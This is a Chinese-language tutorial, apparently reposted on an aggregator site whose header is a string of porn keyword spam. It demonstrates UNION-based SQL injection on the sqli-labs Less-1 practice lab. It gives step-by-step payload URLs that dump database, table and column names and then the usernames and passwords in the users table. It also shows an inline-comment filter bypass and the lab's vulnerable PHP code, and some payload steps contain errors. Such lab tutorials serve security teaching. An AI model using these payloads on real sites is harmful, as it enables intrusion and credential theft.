日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)

發布時間:2025/3/15 数据库 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

SQL注入介紹

什么是SQL注入:
SQL注入是(SQLi)是一種注入攻擊,可以執行惡意的SQL語句,它通過將任意SQL代碼插入數據庫查詢,使攻擊者能夠完全控制web應用程序后面的數據庫服務器。攻擊者可以使用SQL注入漏洞繞過應用程序安全措施;可以繞過網頁或者web應用程序的身份驗證和授權,并檢索整個SQL數據庫的內容;還可以使用SQL注入來添加,修改和刪除數據庫中的記錄。

SQL注入的原理:
用戶輸入的數據被當作代碼拼接到代碼語句里面執行,造成一些不可估量的后果

危害:
你的數據被別人竊取,甚至被別人全部刪除。

有輸入輸出的地方,就可能存在安全問題



SQL注入基礎

  • 一個可利用的數據庫
    information_schema
  • information_schema庫的一些可利用的表

SCHEMATA表
schemata表存儲該用戶創建的所有數據庫的庫名。要記住該表中記錄數據庫庫名的字段名為SCHEMA_NAME

TABLES表
TABLES表存儲該用戶創建的所有數據庫的庫名和表名
?? ?? ?? ??字段名 table_name ?? table_schema

table_name存儲這個數據庫對應數據庫名的里面的表的值
table_schema是儲存了這個數據庫所有數據庫名的字段

COLUMNS表
COLUMNS表存儲該用戶創建的所有數據庫的庫名、表名和字段名
?? ?? ?? ??字段名 table_schema ??table_name ??column_name

table_schema存的是數據庫里面所有的數據庫名
table_name對應數據庫名的表名
column_name存儲的是對應表名的字段名


mysql函數利用




  • 常見的注釋符
    #或 - - 空格 或/**/
    內聯注釋:
    內聯注釋的形式:/*! code /。內聯注釋可以用于整個SQL語句中,用來執行我們的SQL語句

index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3

/**/在mysql中是多行注釋,但是里面如果加了感嘆號!那么后面的內容會被執行(內聯注釋繞過)



SQL注入的種類:

介紹一些常見的幾種手法吧!

1、union聯合注入過程

第一步、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型
第二步、利用order by查表的列數
第三步、如有回顯,找到回顯位(回顯,就是顯示正在執行的批處理命令及執行的結果等)
第四步、利用union select 爆庫、爆表、爆字段名、爆值

接下來以sql-lab第一關來演示一下union聯合注入

sql-lab第一關:


輸入id=1——》http://127.0.0.1/sqli/Less-1/?id=1

step1、測試注入點(一些小tips:利用引號,and 1=1, or 1=1之類的)判斷是字符型還是數字型

當加引號時:http://127.0.0.1/sqli/Less-1/?id=1’——》報錯

當單引號后面添加注釋符時:http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回顯

從這就可以判斷它是一個字符型的,并且存在sql注入

step2、利用order by查表的列數

看一下表回顯的列數,從1開始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的時候都會成功回顯(/表示或)
當輸入order by 4的時候:

沒有第四列,所以可以判斷這個表有三列

step3、如有回顯,找到回顯位(回顯位就是能夠顯示你查詢信息的地方)

利用union select找回顯位:

這里為什么是id=-1?因為id=-1時返回的是一張空表
然后用union select聯合查詢1,2,3它也會返回一張1,2,3的表,一張空表和一張帶有1,2,3的表進行拼接,就會返回后面這張表(要保證前后兩張表列數是一樣的,這也是為什么要用order by 查詢這張表有多少列的原因)


可以看到2和3這個位置可以回顯我們的信息的

step4、利用union select 暴庫、爆表、爆字段名、爆值

先爆庫
利用database()來返回數據庫(寫在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+

如果寫成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+

可以發現它的數據庫是security,找到它數據庫名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+

由上圖可知security這個數據庫存放了emails,referers,uagents, users這四張表


下面看一看users這個表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+

由上圖可以發現user表中字段名有id,username,password


最后就是去爆這些字段名的數據(對應的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下圖可知有這些用戶名
同理要找密碼的話:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+

打開第一關后端語言的代碼分析一下吧!

MYSQL中group_concat()/concat()/concat_ws/substr()函數

注意start是從1開始的

打開index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-1 **Error Based- String**</title> </head><body bgcolor="#000000"> <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"><?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; } }else { echo "Please input the ID as parameter with numeric value";}?> </font> </div></br></br></br><center> <img src="../images/Less-1.jpg" /></center> </body> </html>

沒有對用戶輸入的id進行過濾,導致我們想輸入什么就輸入什么

當輸入id=-1’的時候把單引號閉合了

$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面語句中紅色部分是我們傳進去的值: $ id后面的那個單引號和前面那個單引號形成閉合, #將后面部分注釋

防御措施
1、過濾危險字符
2、做到數據和代碼分離

2、時間盲注

3、布爾盲注

4、堆疊注入

5、通過sql注入寫webshell

總結

以上是生活随笔為你收集整理的SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。